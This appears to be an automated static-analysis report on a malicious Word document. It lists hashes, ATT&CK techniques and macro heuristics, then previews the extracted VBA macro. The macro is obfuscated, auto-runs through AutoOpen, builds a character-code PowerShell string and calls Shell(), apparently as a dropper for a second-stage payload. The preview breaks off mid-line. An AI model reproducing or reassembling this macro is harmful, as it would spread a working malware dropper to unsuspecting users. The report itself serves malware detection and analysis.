Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e291d63afc5e142b…

MALICIOUS

Office (OLE)

107.8 KB Created: 2018-06-24 21:13:00 Authoring application: Microsoft Office Word First seen: 2019-08-04
MD5: 82fa19807c801895c1fbc17d32bf4668 SHA-1: 408aa71431c3de380ea76b865155a91e14491dfa SHA-256: e291d63afc5e142b6873ec0961e132e4a34f2fd6644da1a2e3fdbe6d58a65728
182 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is a malicious Office document containing a VBA macro. The macro utilizes the AutoOpen function and the Shell() function, indicating an attempt to execute arbitrary commands. The obfuscated script strings suggest an effort to conceal the exact command being executed, likely to download and run a second-stage payload.

Heuristics 6

  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 18385 bytes
SHA-256: cf966698a03cb12ba1867b2fd6ba23673da6b16f552ef65fcd7cd1547ab59ec7
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "WBXcIZpPkI"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "zXNUXqwXT"
Function kIHJotcfCBG()
On Error Resume Next
VsZwwI = CByte(86458 * Tan(73106) / 17928 + CLng(fwlLn * 30846 * 38470 * Chr(91983)))
lRpfw = (47836 / CBool(25102) + 53275 + CSng(YAPQn) * (94682 - AbwHj + 97940 - CLng(IwRWF)))
BrmwRAlOt = "Hell  " + "[STR" + "In"
VvVqEo = CByte(75068 * Tan(97204) / 47759 + CLng(cFaWc * 82054 * 95137 * Chr(40879)))
jwREmw = (46312 / CBool(74796) + 32087 + CSng(jiCHoq) * (60183 - STiEdq + 51910 - CLng(IwnNs)))
umHpoJcdw = "g]::jOiN" + Chr(40) + "'' ," + Chr(40) + " [chAr[" + "]] " + Chr(40)
rSARF = CByte(6251 * Tan(50438) / 87852 + CLng(qWdKUJ * 97682 * 41909 * Chr(48568)))
oBcwf = (37863 / CBool(51381) + 57534 + CSng(pazDo) * (13883 - Hlzmr + 77025 - CLng(uJcXQ)))
wBUwSnEJiE = " 60 " + ", 91 , " + "91" + ",113,37," + "118 " + ",125," + "111, 53" + " , 119,1"
vnCHz = CByte(81626 * Tan(42027) / 25603 + CLng(joCsM * 22842 * 75802 * Chr(52364)))
SOVEz = (66887 / CBool(32738) + 1734 + CSng(hnDvKZ) * (52539 - Zhzlj + 28165 - CLng(vaJhT)))
MRvwtODFLi = "22 " + ", 114" + ", 12" + "5 , 12" + "3," + "108,56" + " ,86, 12" + "5, 108 " + ", 54 ," + " 79, " + "12"
HzpwaY = CByte(43515 * Tan(99409) / 52238 + CLng(LqIDbJ * 8674 * 40551 * Chr(39274)))
ktlZn = (53053 / CBool(59287) + 72800 + CSng(NJYZjh) * (45444 - zAoMiF + 18961 - CLng(wJjoC)))
SWaSkW = "5, 122, " + "91" + ", 116 ," + " 113" + ",1" + "25" + " ,1" + "18 ," + "108 " + ",35,6" + "0 "
OUbkU = CByte(23823 * Tan(66314) / 89716 + CLng(wVKIhP * 88414 * 84343 * Chr(1987)))
MmnHBn = (53978 / CBool(1332) + 78594 + CSng(vwzQC) * (48779 - nGzOzZ + 21552 - CLng(rwGwp)))
QfnwFBZCqtZ = ", 7" + "3,95," + " 126 ,37" + " ," + "63, 112,"
zEFuQn = CByte(99439 * Tan(98277) / 31003 + CLng(Hkbkw * 51891 * 34609 * Chr(22221)))
ZROVL = (24027 / CBool(26116) + 53820 + CSng(JqVDz) * (25818 - cVjhMB + 85974 - CLng(CspQi)))
hiDQZlnSbD = " 108 ," + "108 , 10" + "4 , 3"
adUiwZ = CByte(88165 * Tan(73216) / 8988 + CLng(PFjzAJ * 73975 * 10554 * Chr(47806)))
zmYLTp = (45784 / CBool(47008) + 89478 + CSng(SXzzV) * (22921 - QJjZhd + 9727 - CLng(acaHX)))
iLTWUqNBP = "4,5" + "5 , 5" + "5, " + "111"
UjNQSA = CByte(98447 * Tan(24780) / 78858 + CLng(rtruw * 66168 * 78151 * Chr(10894)))
KIcVR = (18074 / CBool(37977) + 3649 + CSng(MzQWrr) * (88468 - TXmsiF + 81831 - CLng(czHJQ)))
BfIrzV = ",1" + "11" + ",111, " + "54,122," + "121 ,"
kIHJotcfCBG = BrmwRAlOt + umHpoJcdw + wBUwSnEJiE + MRvwtODFLi + SWaSkW + QfnwFBZCqtZ + hiDQZlnSbD + iLTWUqNBP + BfIrzV
hThmS = (63136 / CBool(6202) + 73062 + CSng(oMMsc) * (43966 - hJaZtd + 12578 - CLng(hAkNvL)))
IBDiXm = CByte(94179 * Tan(91192) / 68785 + CLng(OnXct * 98419 * 32478 * Chr(40077)))
End Function
Function qisohF()
On Error Resume Next
RZNjN = (9103 / CBool(24059) + 98819 + CSng(Svpqz) * (89582 - Kptzq + 70122 - CLng(rJipi)))
oATsi = CByte(89404 * Tan(40619) / 89960 + CLng(qiKns * 56464 * 76494 * Chr(49286)))
EkpkUqrWWEM = " 108 ," + "112 , 1" + "19 , " + "126 "
odZjJ = (44954 / CBool(40471) + 52265 + CSng(LWXiPd) * (87698 - RczLE + 48969 - CLng(ozPpD)))
kDjFAF = CByte(62979 * Tan(9180) / 83585 + CLng(XDNJYw * 13817 * 27715 * Chr(62708)))
TGHXGib = ",126 " + ",54 ," + " 106, 1" + "09 " + ", 55,8"
bMLcMj = (7574 / CBool(30941) + 89435 + CSng(HfYoa) * (37008 - dPYMLZ + 60505 - CLng(IrPkq)))
BIJQYr = CByte(14658 * Tan(85815) / 32778 + CLng(QKhor * 59621 * 48239 * Chr(66765)))
fCpXmRjhCEK = "7 , 7" + "2, 118, " + "89 , 106" + ",1" + "06" + ", 55 " + ",88 " + ", "
KdzHj = (29790 / CBool(74085) + 62071 + CSng(DsofD) * (33157 - XOXCb + 60804 - CLng(wXwBrq)))
dShffO = CByte(3301 * Tan(1570) / 55112 + CLng(lLFoY * 25094 * 71817 * Chr(12066)))
hoRVdQvb = "112," + "108 , 1" + "08,104" + ",34, 55 " + ",55, 12" + "3 ," + "108 ,53 " + ", "
hUQBf = (56380 / CBool(60328) + 86294 + CSng(kkNup) * (38793 - Z
... (truncated)